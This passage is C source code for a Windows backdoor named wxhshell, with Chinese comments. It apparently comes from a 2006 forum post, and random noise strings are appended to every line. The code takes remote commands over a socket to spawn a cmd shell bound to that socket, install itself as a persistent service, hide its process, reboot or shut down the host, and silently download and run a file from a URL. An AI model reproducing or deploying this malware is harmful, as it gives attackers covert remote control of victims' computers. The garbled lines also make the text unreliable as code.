  } 4NGA/ G  
  else { fhar&\;S  
U[SaY0Z  
    switch(cmd[0]) { I`p+Qt  
  C3eR)Yh  
  // 帮助 Inn@2$m~  
  case '?': { u6T+Cg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 18~>ZR  
    break; (}a8"]Z  
  } 9bP^`\K[N  
  // 安装 mk1bcK9  
  case 'i': { DSC$i|  
    if(Install()) : e]a$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc gRAo+u  
    else *i]=f6G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1xD=ffM>8N  
    break; WfWN(:dF  
    } #OIcLEn%  
  // 卸载 aEM%R<e  
  case 'r': { s}j{#xT  
    if(Uninstall()) A9f)tqbc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H GXt  
    else %C$% !C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M4zm,>?K  
    break; Ey_" ~OB  
    } sp#p8@Cj  
  // 显示 wxhshell 所在路径 e}Cif2#d~  
  case 'p': { >ZPsjQuf"  
    char svExeFile[MAX_PATH]; )Gj8X}DM  
    strcpy(svExeFile,"\n\r"); i;NUAmx  
      strcat(svExeFile,ExeFile); b vS(@  
        send(wsh,svExeFile,strlen(svExeFile),0); Zw*v  
    break; )^ m%i]L _  
    } aa?w:3  
  // 重启 ,$+lFv3LE  
  case 'b': { c\iA89msp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /a^1_q-bX  
    if(Boot(REBOOT)) fBalTk;G{U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8QAo\_I(  
    else { :|_'fNd+!  
    closesocket(wsh); &=#[(vl  
    ExitThread(0); >_o}  
    } &QDW9 Mi  
    break; U'8bdsF_  
    }  /<HRwG\w  
  // 关机 J/\V%~ 1F  
  case 'd': { JQ,1D`?.a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ JpKSTg[  
    if(Boot(SHUTDOWN)) `&KwtvkdI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vY%d   
    else { 9{-EJ)  
    closesocket(wsh); vWRju*Z&  
    ExitThread(0); K%"5ImM  
    } o=21|z  
    break; qp/v^$EA  
    } BnCbon)  
  // 获取shell .C&ktU4  
  case 's': { SF&BbjBE0  
    CmdShell(wsh); *"D3E7AO  
    closesocket(wsh); 5"HV BfFk  
    ExitThread(0); "ul {d(K3  
    break; t"k*PA  
  } - M[$Zy^  
  // 退出 G]fRk^~  
  case 'x': { D[^m{ 9_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5!l0zLQP o  
    CloseIt(wsh); _{r=.W+ w  
    break; @c<3b2  
    } LUuZ9$t0J"  
  // 离开 V>ieh2G(  
  case 'q': { 'f[T&o&L/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &$]v h  
    closesocket(wsh); C!Rs^/  
    WSACleanup(); {P{bOe  
    exit(1); V>R8GSx  
    break; [* @5\NWR}  
        } ;k7xMZs  
  } Rniq(FA x  
  } NbC@z9Q  
#Yr9AVr}K  
  // 提示信息 c:-!'l$ !  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z2TL#@  
} g{8,Wx,,  
  } 1jN-4&  
hg+X(0  
  return;  :@%4  
} y>72{  
DTa N"{  
// shell模块句柄 89\n;5'f4  
int CmdShell(SOCKET sock) Ytz)d/3T  
{ bty/  
STARTUPINFO si; #bl6sa{E  
ZeroMemory(&si,sizeof(si)); 5Cq{XcXV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oXxCXO,q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &e;=cAXG  
PROCESS_INFORMATION ProcessInfo; F{eU";D  
char cmdline[]="cmd"; G`\f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xb{ [c+.  
  return 0; (xVsDAp=@  
} |P -8HlOr  
#$c Rkw  
// 自身启动模式 %kB8'a3  
int StartFromService(void) ZCB_  
{ o(:[r@Z0z  
typedef struct "Qja1TQ  
{ CAcS~ "  
  DWORD ExitStatus; "\}@gV#r$A  
  DWORD PebBaseAddress; xER\ZpA :,  
  DWORD AffinityMask; TiYnc3Bz}J  
  DWORD BasePriority; 7b<je=G6PA  
  ULONG UniqueProcessId; xKQ+{"?-^g  
  ULONG InheritedFromUniqueProcessId; m|=H#  
}   PROCESS_BASIC_INFORMATION; q{t*34R  
NX|v=  
PROCNTQSIP NtQueryInformationProcess; d!:6[7X6  
xZ4~Oo@@_'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z00+!Tnd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P?t" jKp'  
P@,nA41,j  
  HANDLE             hProcess; KuMF^0V%c  
  PROCESS_BASIC_INFORMATION pbi; DdVF,  
kAu+zX>S+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pek%08VSEU  
  if(NULL == hInst ) return 0; wi4=OU1L)a  
1RK=,Wx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?r?jl;A&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9A,^c;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b|+wc6   
2Z3('?\z~  
  if (!NtQueryInformationProcess) return 0; Y]L9Y9  
iVG-_RsKK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^my].Qpt  
  if(!hProcess) return 0; *cC_j*1@  
rFC" Jx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "g' jPwFG  
J41G&$j(  
  CloseHandle(hProcess); e 46/{4F,  
< V\I~;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (rkU)Q  
if(hProcess==NULL) return 0; wc!onZX5  
L+'Fs  
HMODULE hMod; xo&]RYG[<  
char procName[255]; ]79:yMD~ba  
unsigned long cbNeeded; ox%9Ph  
N_pJk2E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1qf!DMcdZ  
(iR ide  
  CloseHandle(hProcess); I =1+h  
Clh!gpB c  
if(strstr(procName,"services")) return 1; // 以服务启动 <<i3r|}  
BQ @huns3  
  return 0; // 注册表启动 T'LIrf  
} sgO'wXcoP  
dw TMq*e  
// 主模块 ~i21%$  
int StartWxhshell(LPSTR lpCmdLine) i:u1s"3~  
{ Rr!Y3)f;  
  SOCKET wsl; D<V~f B  
BOOL val=TRUE; =e8bNg  
  int port=0; 2'5]~  
  struct sockaddr_in door; vq!_^F<  
7f~Sf  
  if(wscfg.ws_autoins) Install(); _L@2_#h!  
*P#WDXRwd  
port=atoi(lpCmdLine); ?}m']4p  
Q4*fc^?u  
if(port<=0) port=wscfg.ws_port; jq+A-T}@  
,:`ND28V7  
  WSADATA data; JB>b`W9   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A0fFv+RN3  
(sQr X{~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I(9R~q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fgBM_c&9T  
  door.sin_family = AF_INET; 1&P<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cKn`/\.H  
  door.sin_port = htons(port); `\m*+Bk[5  
:OW ;?{ ~j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bf$_XG3  
closesocket(wsl); #?XQ7Im  
return 1; l2&`J_"  
} # hlCs  
^k Cn*&  
  if(listen(wsl,2) == INVALID_SOCKET) { |QMhMGjV  
closesocket(wsl); V=lfl1Ev0J  
return 1; *b xzCI7b  
} > ]8a3x  
  Wxhshell(wsl); "3<da*D1  
  WSACleanup(); Zr-U&9.`  
JR@.R ,rII  
return 0; JXw^/Y$  
~j-cS J3  
} #Jna6  
HmZ{L +"  
// 以NT服务方式启动 uio@r^Xz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KL ?@@7  
{ :Dd$i_3=  
DWORD   status = 0; bcAvM;  
  DWORD   specificError = 0xfffffff; \'M3|w`f  
11,!XD*"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jZ%TJ0(H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }=v)Js  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D)@YI.T  
  serviceStatus.dwWin32ExitCode     = 0; Vp<seO;7o  
  serviceStatus.dwServiceSpecificExitCode = 0; JICawj:I  
  serviceStatus.dwCheckPoint       = 0; meCC?YAB  
  serviceStatus.dwWaitHint       = 0; W,K%c=  
e4G4GZH8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '*Almv{  
  if (hServiceStatusHandle==0) return; /RyR>G!  
?h0X,fl3  
status = GetLastError(); !=y]Sv~h  
  if (status!=NO_ERROR) rLU/W<F8  
{ A"aV'~>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dk='+\  
    serviceStatus.dwCheckPoint       = 0; sO5?aB&  
    serviceStatus.dwWaitHint       = 0; J -ePE7i  
    serviceStatus.dwWin32ExitCode     = status; &bhq`>  
    serviceStatus.dwServiceSpecificExitCode = specificError; m] W5+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cS.-7  
    return; !gLkJ)  
  } dV Q-k  
RID]pek  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fl;s9:<  
  serviceStatus.dwCheckPoint       = 0; jA(>sz  
  serviceStatus.dwWaitHint       = 0; zSE<"(a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :=9] c17=  
} }'OHE(s  
fRfn2jA)d  
// 处理NT服务事件,比如:启动、停止 } %'bullT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k"N(o(  
{ ^T.E+2=>z  
switch(fdwControl) o0ZM[0@j  
{ ;r /;m\V  
case SERVICE_CONTROL_STOP: =E&OuX-R  
  serviceStatus.dwWin32ExitCode = 0; E0/mSm"(T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z--@.IYoJ  
  serviceStatus.dwCheckPoint   = 0; 9z I.pv+]  
  serviceStatus.dwWaitHint     = 0; `y+-H|%?  
  { WO6/X/#8b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lw'9  
  } bT6sb#"W  
  return; )XfzLF7  
case SERVICE_CONTROL_PAUSE: J>^\oAgpE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f""`cdqAOh  
  break; ms_ VM>l  
case SERVICE_CONTROL_CONTINUE: `+#G+Vu5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xBFJ} v  
  break; }P3tn  
case SERVICE_CONTROL_INTERROGATE: 'u4ezwF;  
  break; zd]D(qeX  
}; TrdZJ21#M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KvQ,;A  
} CAT.4GM  
!vn1v)6  
// 标准应用程序主函数 ^VT1vu %03  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @h?shW=^  
{ &/A 8-:m  
F/1#l@qN  
// 获取操作系统版本 + <c^=&7Lq  
OsIsNt=GetOsVer(); s!+"yK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Iq'/r  
b.O9ITR  
  // 从命令行安装 J4=_w  
  if(strpbrk(lpCmdLine,"iI")) Install(); 81%8{yn!$"  
=V97;kq+v  
  // 下载执行文件 dJ:MjQG`W  
if(wscfg.ws_downexe) { y[@\j9Hq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 93IFcmO.H@  
  WinExec(wscfg.ws_filenam,SW_HIDE); H +bdsk  
} idRD![!UI  
<?0~1o\Ur  
if(!OsIsNt) { j%V["?)  
// 如果时win9x,隐藏进程并且设置为注册表启动 )c/Fasfg[P  
HideProc(); 8wH.et25k  
StartWxhshell(lpCmdLine); "&Qctk`<P  
} ?8, %LIQ?  
else rC_*sx r^  
  if(StartFromService()) <P%}|@  
  // 以服务方式启动 '<iK*[NW  
  StartServiceCtrlDispatcher(DispatchTable); q EUT90  
else ._z 'g_c(  
  // 普通方式启动 QMo}W{D  
  StartWxhshell(lpCmdLine);  qW_u  
Q>qFM9Z  
return 0; CJaKnz  
}
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只看该作者 1 发表于: 2006-10-10
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